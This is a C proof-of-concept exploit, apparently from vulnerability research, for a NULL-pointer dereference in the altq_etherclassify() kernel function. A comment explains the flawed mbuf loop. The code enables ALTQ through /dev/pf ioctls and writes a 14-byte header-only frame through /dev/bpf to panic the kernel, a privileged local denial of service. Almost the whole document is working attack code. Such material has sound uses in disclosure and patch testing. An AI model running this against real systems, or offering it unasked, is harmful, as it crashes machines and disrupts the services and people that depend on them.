DF-0445 / altq_etherclassify_npd.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-0445 — altq_etherclassify() NULL-pointer dereference * * Mechanism (root-only: needs ALTQ enabled + /dev/bpf): * sys/net/if_ethersubr.c:927-930: * * while (m->m_len <= hlen) { * hlen -= m->m_len; * m = m->m_next; * } * * The loop body assigns m = m->m_next without checking for NULL. If the * mbuf chain terminates at exactly hlen bytes (m_next == NULL on the last * mbuf, with m_len of that mbuf <= hlen), the next loop iteration * evaluates m->m_len on NULL -> panic. * * Trigger: a single-mbuf packet with m_len == sizeof(ether_header) (== 14) * and m_next == NULL. When ether_output_frame() runs with ALTQ enabled on * the interface, altq_etherclassify is called with: * hlen = sizeof(struct ether_header) = 14 * eh->ether_type = ETHERTYPE_IP (so the IP branch is taken) * Loop condition (14 <= 14) is TRUE -> body executes -> hlen = 0, * m = m_next = NULL. Loop re-checks `m->m_len` on NULL -> NPD panic. * * How we manufacture the 14-byte single-mbuf packet: * - bpf_movein() reads the user's 14-byte ether_header into the mbuf * (m_len = 14), then strips those 14 bytes (m_len = 0) and copies them * into the sockaddr sa_data. * - ether_output() then M_PREPENDs 14 bytes (the ether_header) back onto * the mbuf, leaving m_len = 14, m_next = NULL. * - ether_output_frame() -> altq_etherclassify() -> NPD. * * Trigger requires root: enabling ALTQ via /dev/pf ioctls and writing to * /dev/bpf both need root. This is a privileged local DoS (panic). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/time.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <net/if.h> #include <net/pf/pfvar.h> #include <net/altq/altq.h> #include <net/altq/altq_cbq.h> #include <net/bpf.h> #include <net/ethernet.h> #define IFNAME "vtnet0" /* ALTQ setup: just enable CBQ on the interface. We don't need a working * QoS configuration -- altq_etherclassify is called whenever ALTQ is * "enabled" on the ifq, regardless of queue config. */ static int enable_altq(const char *ifname) { int fd = open("/dev/pf", O_RDWR); if (fd < 0) return -1; if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST) { int e = errno; close(fd); errno = e; return -1; } /* DIOCXBEGIN: start an altq transaction. */ struct pfioc_trans_e te; memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; struct pfioc_trans tr = { .size = 1, .esize = sizeof(te), .array = &te }; if (ioctl(fd, DIOCXBEGIN, &tr) < 0) { int e=errno; close(fd); errno=e; return -1; } u_int32_t ticket = te.ticket; /* Add CBQ discipline (qname empty). */ struct pfioc_altq pa; memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq.scheduler = ALTQT_CBQ; pa.altq.ifbandwidth = 1000000000; strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname)); if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { int e=errno; close(fd); errno=e; return -1; } void *disc = pa.altq.altq_disc; /* Add a root class so the discipline has a root_ and ifq_is_enabled() * will be true after commit. */ memset(&pa, 0, sizeof(pa)); pa.ticket = ticket; pa.altq.scheduler = ALTQT_CBQ; pa.altq.ifbandwidth = 1000000000; pa.altq.bandwidth = 1000000000; pa.altq.qid = 1; pa.altq.priority = 0; pa.altq.qlimit = 30; pa.altq.altq_disc = disc; pa.altq.pq_u.cbq_opts.flags = CBQCLF_ROOTCLASS; pa.altq.pq_u.cbq_opts.ns_per_byte = 1; strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname)); strlcpy(pa.altq.qname, "rootq", sizeof(pa.altq.qname)); if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { int e=errno; close(fd); errno=e; return -1; } /* Commit. */ memset(&te, 0, sizeof(te)); te.rs_num = PF_RULESET_ALTQ; te.ticket = ticket; tr.size = 1; tr.esize = sizeof(te); tr.array = &te; if (ioctl(fd, DIOCXCOMMIT, &tr) < 0) { int e=errno; close(fd); errno=e; return -1; } /* DIOCSTARTALTQ must be called AFTER commit to actually set * ALTQF_ENABLED on the ifq. Calls pf_enable_altq for each active * discipline, which calls altq_enable(). */ if (ioctl(fd, DIOCSTARTALTQ) < 0) { int e = errno; close(fd); errno = e; return -1; } close(fd); return 0; } int main(void) { /* 1. Enable ALTQ on the interface. */ if (enable_altq(IFNAME) < 0) { fprintf(stderr, "enable_altq(%s): %s\n", IFNAME, strerror(errno)); return 2; } printf("ALTQ enabled on %s\n", IFNAME); /* 2. Open /dev/bpf and attach to the interface. */ int bfd = -1; char devname[16]; for (int i = 0; i < 16; i++) { snprintf(devname, sizeof(devname), "/dev/bpf%d", i); bfd = open(devname, O_RDWR); if (bfd >= 0) break; if (errno != EBUSY) { fprintf(stderr, "open %s: %s\n", devname, strerror(errno)); } } if (bfd < 0) return 2; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, IFNAME, sizeof(ifr.ifr_name)); if (ioctl(bfd, BIOCSETIF, &ifr) < 0) { fprintf(stderr, "BIOCSETIF: %s\n", strerror(errno)); return 2; } printf("BPF attached to %s via %s\n", IFNAME, devname); /* bd_hdrcmplt = 1 so the kernel uses our ether_header verbatim * (sa_family = pseudo_AF_HDRCMPLT). */ u_int hdrcmplt = 1; if (ioctl(bfd, BIOCSHDRCMPLT, &hdrcmplt) < 0) { fprintf(stderr, "BIOCSHDRCMPLT: %s\n", strerror(errno)); } /* 3. Construct a 14-byte ether_header-only frame with type=IP. */ struct { u_char dst[ETHER_ADDR_LEN]; u_char src[ETHER_ADDR_LEN]; u_int16_t type; } __attribute__((packed)) eh; memset(eh.dst, 0xff, ETHER_ADDR_LEN); /* broadcast */ memset(eh.src, 0x52, ETHER_ADDR_LEN); /* arbitrary */ eh.type = htons(ETHERTYPE_IP); printf("\n*** WRITING 14-byte ether_header-only frame -- if altq_etherclassify " "is reached, EXPECT NPD PANIC ***\n"); fflush(stdout); ssize_t n = write(bfd, &eh, sizeof(eh)); if (n < 0) fprintf(stderr, "bpf write: %s\n", strerror(errno)); else printf("bpf write returned %zd bytes (no panic)\n", n); close(bfd); return 0; } |